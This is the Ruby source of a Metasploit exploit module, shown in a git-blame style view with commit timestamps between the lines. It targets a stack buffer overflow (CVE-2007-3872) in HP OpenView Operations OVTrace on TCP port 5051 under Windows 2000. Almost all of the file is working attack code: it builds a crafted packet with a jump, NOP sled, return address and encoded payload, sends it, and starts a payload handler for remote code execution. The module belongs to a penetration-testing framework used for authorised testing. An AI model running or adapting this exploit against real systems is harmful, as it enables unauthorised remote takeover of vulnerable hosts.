2007-08-19 19:13:24 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-08-19 19:13:24 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-08-19 19:13:24 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-08-19 19:13:24 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-08-19 19:13:24 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HP OpenView Operations OVTrace Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in HP OpenView Operations version A.07.50.
|
2010-04-30 08:40:19 +00:00
|
|
|
By sending a specially crafted packet, a remote attacker may be able to execute arbitrary code.
|
2007-08-19 19:13:24 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2007-3872' ],
|
|
|
|
[ 'OSVDB', '39527' ],
|
2007-08-19 19:13:24 +00:00
|
|
|
[ 'BID', '25255' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 800,
|
|
|
|
'BadChars' => "\x0a\x0d\x00",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows 2000 Advanced Server All English', { 'Ret' => 0x75022ac4 } ],
|
2007-08-19 19:13:24 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Aug 9 2007'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(5051)], self.class)
|
2007-08-19 19:13:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "\x0f\x00\x00\x06\x00" + rand_text_english(62)
|
2007-08-19 19:13:24 +00:00
|
|
|
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
|
|
|
|
sploit << [target.ret].pack('V') + payload.encoded
|
|
|
|
sploit << rand_text_english(2024)
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
|
|
|
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,3) # =(
|
2007-08-19 19:13:24 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|